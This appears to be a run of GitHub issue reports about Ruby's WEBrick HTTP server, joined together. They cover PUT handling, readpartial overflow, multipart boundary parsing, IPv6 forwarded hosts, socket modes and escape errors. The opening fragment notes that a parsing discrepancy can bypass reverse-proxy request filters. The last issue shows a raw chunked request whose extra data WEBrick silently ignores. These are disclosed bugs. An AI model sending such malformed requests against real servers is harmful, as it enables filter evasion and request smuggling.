GET / HTTP/1.1\r\n
\r\n

This discrepancy is exploitable to bypass request filtering rules implemented in reverse proxies that ignore 0x prefixes.

Webrick currently responds to PUT requests with a status code 405 Method Not Allowed. The ProcHandler class needs to be patched to handle PUT requests correctly, which incurs duplication across projects:

module WEBrick
  module HTTPServlet
    class ProcHandler
      alias do_PUT do_POST
    end
  end
end

Given that POST requests are allowed by default, and both PUT and POST requests are appropriately parsed in httprequest.rb, it seems reasonable to also allow PUT requests by default.

Others have encountered this sort of issue ^{1 2} suggesting that the behaviour is unexpected.

The contract of readpartial is that it will return up to the amount requested and no more. However the implementation of readpartial in WEBrick's HTTPRequest does not honor this contract:

The assumption described here may hold in CRuby, but in JRuby's implementation of copy_stream we may use an intermediate buffer to hold data on its way, and if readpartial returns more data than requested we will overflow that buffer. I will be fixing JRuby to raise a more Ruby-friendly error, but it's still going to be an error if we readpartial N bytes and get N+1.

https://github.com/jruby/jruby/blob/a612f900243926e45a3d3465bc8ae5d9e5258cce/core/src/main/java/org/jruby/RubyIO.java#L4433-L4454

This is the root cause of a failure in test_big_bodies from test_httpproxy.rb as described in jruby/jruby#6246. The copy_stream call deep inside the proxy test fails due to this buffer overflow, which causes the request's piped content to be prematurely closed and the proxy test to error out while trying to write request data.

I'm trying to figure out how to shutdown a WEBrick server after some given number of seconds of inactivity. I'm writing a microservice that is in intended to only last for a short amount of time, usually a few seconds. Ideally the client process should send a shutdown command when it's done with the service, but I want a backup in which the microservice shuts down if no requests are received after, say 2 seconds.

Here's what I've tried that doesn't work.

server = WEBrick::HTTPServer.new(:Port => 8000)
WEBrick::Utils::TimeoutHandler.register(2, Timeout::Error)
server.start

I thought that would simply exit the process after 2 seconds. Here's what actually happens:

[2020-01-19 15:41:10] INFO  WEBrick 1.4.2
[2020-01-19 15:41:10] INFO  ruby 2.5.1 (2018-03-29) [x86_64-linux-gnu]
[2020-01-19 15:41:10] INFO  WEBrick::HTTPServer#start: pid=16622 port=8000
[2020-01-19 15:41:12] ERROR Timeout::Error: execution timeout
    /usr/lib/ruby/2.5.0/webrick/server.rb:170:in `select'

And then the process keeps running. I have to ctrl-c to end it.

What's the correct way to shut down a server and end the process after a timeout?

Hello,

httprequest.rb is implemented as follows:

    def parse_query()
      begin
        ...
        elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
          ...

But some http clients use "multipart/form-data;boundary=...". (there is no space between ; and boundary).

RFC2045 does not tell about the spaces.
https://tools.ietf.org/html/rfc2045#section-5.1

I suggest the following code.

    def parse_query()
      begin
        ...
        elsif self['content-type'] =~ /^multipart\/form-data; *boundary=(.+)/
          ...

A request that normally works with IPv4 is failing for IPv6. The webrick server is running behind Apache2, which is setting the x-forwarded-* headers.

$ curl -k https://[fd20:8b1e:b255:8154:250:56ff:fea8:4d84]/something
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
  <HEAD><TITLE>Bad Request</TITLE></HEAD>
  <BODY>
    <H1>Bad Request</H1>
    bad URI `/api/v3/versions'.
    <HR>
    <ADDRESS>
     WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21) at
     DCU-ADM1-178:4567
    </ADDRESS>
  </BODY>
</HTML>

I added some logging to httprequest.rb to output the headers:
(fails) x-forwarded-host: [fd20:8b1e:b255:8154:250:56ff:fea8:4d84]
(works) x-forwarded-host: 10.224.3.178

The bug appears to be in here:

     def setup_forwarded_info
      if @forwarded_server = self["x-forwarded-server"]
        @forwarded_server = @forwarded_server.split(",", 2).first
      end
      @forwarded_proto = self["x-forwarded-proto"]
      if host_port = self["x-forwarded-host"]
        host_port = host_port.split(",", 2).first
        @forwarded_host, tmp = host_port.split(":", 2) # HERE
        @forwarded_port = (tmp || (@forwarded_proto == "https" ? 443 : 80)).to_i
      end
      if addrs = self["x-forwarded-for"]
        addrs = addrs.split(",").collect(&:strip)
        addrs.reject!{|ip| PrivateNetworkRegexp =~ ip }
        @forwarded_for = addrs.first
      end
    end

Changing it to remove the split avoids the bug, but this simpler implementation doesn't support a port.

      if host_port = self["x-forwarded-host"]
        host_port = host_port.split(",", 2).first
        @forwarded_host = host_port # Dropped the split on :
        @forwarded_port = @forwarded_proto == "https" ? 443 : 80
      end

I tried to test the theme locally, but it threw an error. It could not require webrick. I manually added the gem to the Gemfile, installed again and then it worked.

I am not a ruby dev, so I am wondering if this is the correct way to do it?

I came across CVE-2009-4492 while working on a tool that uses the Github Advisory database, which doesn't have a fixed version in it's advisory data.

Based on postings here it has been fixed, but I can't find any reference to it here.

Ultimately I'm trying to determine if this is a case of mistaken identity (that the WEBrick pointed to by the advisory is not the one that had the security vulnerability) or otherwise what version this was fixed in so that I can update the advisory.

I suspect it was fixed in 1.3.1 based on database specific info, but want to confirm that before changing the advisory.

Hello I was using Jekyll based website and I found the following warning/error messages:

$ bundle exec jekyll serve
Configuration file: /home/leimao/GitHub/leimao.github.io/_config.yml
            Source: /home/leimao/GitHub/leimao.github.io
       Destination: /home/leimao/GitHub/leimao.github.io/_site
 Incremental build: disabled. Enable with --incremental
      Generating... 
                    done in 2.164 seconds.
/var/lib/gems/2.7.0/gems/pathutil-0.16.2/lib/pathutil.rb:502: warning: Using the last argument as keyword parameters is deprecated
 Auto-regeneration: enabled for '/home/leimao/GitHub/leimao.github.io'
    Server address: http://127.0.0.1:4000
  Server running... press ctrl-c to stop.
[2020-06-07 21:11:50] ERROR Errno::ECONNRESET: Connection reset by peer @ io_fillbuf - fd:17 
	/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `eof?'
	/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `run'
	/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
[2020-06-07 21:11:50] ERROR Errno::ECONNRESET: Connection reset by peer @ io_fillbuf - fd:18 
	/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `eof?'
	/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `run'
	/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'
[2020-06-07 21:11:50] ERROR Errno::ECONNRESET: Connection reset by peer @ io_fillbuf - fd:17 
	/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `eof?'
	/usr/lib/ruby/2.7.0/webrick/httpserver.rb:82:in `run'
	/usr/lib/ruby/2.7.0/webrick/server.rb:307:in `block in start_thread'

I don't know too much about Ruby so I wonder if this is a webrick problem or a Jekyll problem. Thank you.

The IPv6 host :: is kind of analogous to the IPv4 address 0.0.0.0, however it should usually (depending on the OS) listen for traffic coming from IPv4 and IPv6 addresses, unless specified differently by the OS.

However, i have observed that across different linux distros i have tried (manjaro, arch, debian), WEBRick will open its socket in ipv6-only mode.
I assume that the reason is this line as using the Socket.tcp_server_sockets function manually leads to the same result.
However, e.g. using the TCPServer from the socket stdlib opens a socker that's not in ipv6-only mode.

Sample code i have used:

require 'webrick'

server = WEBrick::HTTPServer.new Port: 8080, Host: '::', DocumentRoot: '~/'

trap 'INT' do
  server.shutdown
end

server.start

I have tested this with webrick 1.7.0 on ruby 3.1.1 and on ruby 2.6.3, both yielding the same result.

I have observed the mode using ss -tlne, where the local address is shown as [::]:8080, which indicates ipv6-only mode in ss, while it should be *:8080 in non-ipv6-only mode.
It also says v6only:1 in the process description, while it should say v6only:0.

Also here's the sample code using TCPServer that correctly opens the socket:

require 'socket'

server = TCPServer.new('::', 8080)

loop do
  client = server_socket.accept
  client.puts 'hello'
  client.close
end

I can't find official documentation for Webrick online. If this documentation exists, can the README be updated with a link, since this repository does come up in searches?

Why is this happening, and what is the proper fix?

get '/' do
  content_type 'text/plain'
  request.env.each do |k, v|
    puts "#{k}: #{v}"
  end
end

TypeError: no implicit conversion of Array into String in ./rack-2.2.7/lib/rack/handler/webrick.rb:120
              part = "#{part.join(': ')}\n" if part.is_a?(Array) # Hack
              res.body << part

Notices:

1. An old version of rack is used (2.2.7 as opposed to the current 3.0.8)
2. Some users seem to be switching to Puma. Is WEBrick outdated?

% irb
> RUBY_VERSION
=> "3.1.2"

> require 'webrick'
> WEBrick::HTTPUtils.escape(nil)
/Users/katsuhiko.yoshida/.rbenv/versions/3.1.2/lib/ruby/gems/3.1.0/gems/webrick-1.7.0/lib/webrick/httputils.rb:444:in `_escape': undefined method `b' for nil:NilClass (NoMethodError)

      str = str.b
               ^^

(omit)

%irb
> RUBY_VERSION
=> "2.7.6"

> WEBrick::HTTPUtils.escape(nil)
Traceback (most recent call last):
        7: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/bin/irb:23:in `<main>'
        6: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/bin/irb:23:in `load'
        5: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/lib/ruby/gems/2.7.0/gems/irb-1.2.6/exe/irb:11:in `<top (required)>'
        4: from (irb):2
        3: from (irb):3:in `rescue in irb_binding'
        2: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/lib/ruby/2.7.0/webrick/httputils.rb:467:in `escape'
        1: from /Users/katsuhiko.yoshida/.rbenv/versions/2.7.6/lib/ruby/2.7.0/webrick/httputils.rb:443:in `_escape'
NoMethodError (undefined method `b' for nil:NilClass)

WEBrick::HTTPUtils.escape_form(nil) is also the same. If the exception was raised in complex situations (e.g. in third party library), it will be difficult to determine the cause (parameter is nil).

My suggestions are following.

1. Raises a builtin exception
   • CGI.escape is this behavior (raises a TypeError)
2. Raises a custom exception
   • Like a EscapeError
3. Returns ""
   • URI.encode_www_form_component and ERB::Util.url_encode are this behavior
   • But, BREAKING CHANGE (doesn't stop)

Thank you for your great work.

I'm trying to make a proxy to send every request to the github api, but I keep getting the 'hello world' message, what am I doing wrong?

require 'webrick'
require 'webrick/httpproxy'
require 'uri'

proxy =
  WEBrick::HTTPProxyServer.new ProxyURI: URI('http://api.github.com'), Port: 8080

trap 'INT'  do proxy.shutdown end
trap 'TERM' do proxy.shutdown end

proxy.mount_proc '*' do |req, res|
  method = req.request_method # POST
  path_info = req.path_info # /account 
  res.body = 'Hello, world!'
end

proxy.start

When WEBrick receives a request with a chunked message body with a chunk length that's less than the length of the subsequent data, it silently ignores extra the extra data.

For example, if you send WEBrick the following request:

POST / HTTP/1.1\r\n
Host: whatever\r\n
Transfer-Encoding: chunked\r\n
\r\n
3\r\n
ABCthis-all-gets-ignored\r\n
0\r\n
\r\n

Then, WEBrick sees the message body as ABC.

Other HTTP implementations (Apache, Daphne, Deno, FastHTTP, Go net/http, Gunicorn, H2O, HAProxy, Hypercorn, Jetty, Libevent, Lighttpd, Nginx, Node.js, Puma, Tomcat, Unicorn, Uvicorn, and Waitress) respond 400 when they receive requests with invalid chunked bodies.